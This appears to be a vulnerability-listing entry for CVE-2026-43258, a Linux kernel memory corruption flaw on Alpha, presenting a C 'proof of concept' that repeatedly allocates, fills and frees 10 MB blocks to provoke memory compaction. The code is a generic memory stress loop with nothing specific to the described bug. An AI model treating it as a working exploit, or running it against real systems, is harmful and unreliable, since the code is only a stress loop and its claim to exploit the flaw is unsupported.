CVE-2026-43258 Linux内核Alpha架构内存损坏漏洞

/* * PoC for CVE-2026-43258 (Linux Kernel Alpha Memory Corruption) * This PoC attempts to trigger memory compaction on Alpha systems. * Compile: gcc -o poc_cve2026_43258 poc_cve2026_43258.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/mman.h> #define ALLOC_SIZE (1024 * 1024 * 10) // 10MB chunks void trigger_memory_stress() { void *ptr; int i; printf("[*] Starting memory stress test to trigger compaction...\n"); for (i = 0; i < 100; i++) { ptr = malloc(ALLOC_SIZE); if (!ptr) { perror("malloc failed"); continue; } // Touch memory to ensure physical pages are allocated memset(ptr, 'A', ALLOC_SIZE); // Free immediately to create fragmentation free(ptr); // Small delay to allow kernel scheduler to run compaction usleep(1000); } printf("[+] Stress test completed. System may be unstable.\n"); } int main() { // Note: This requires a system with memory compaction enabled on Alpha arch trigger_memory_stress(); return 0; }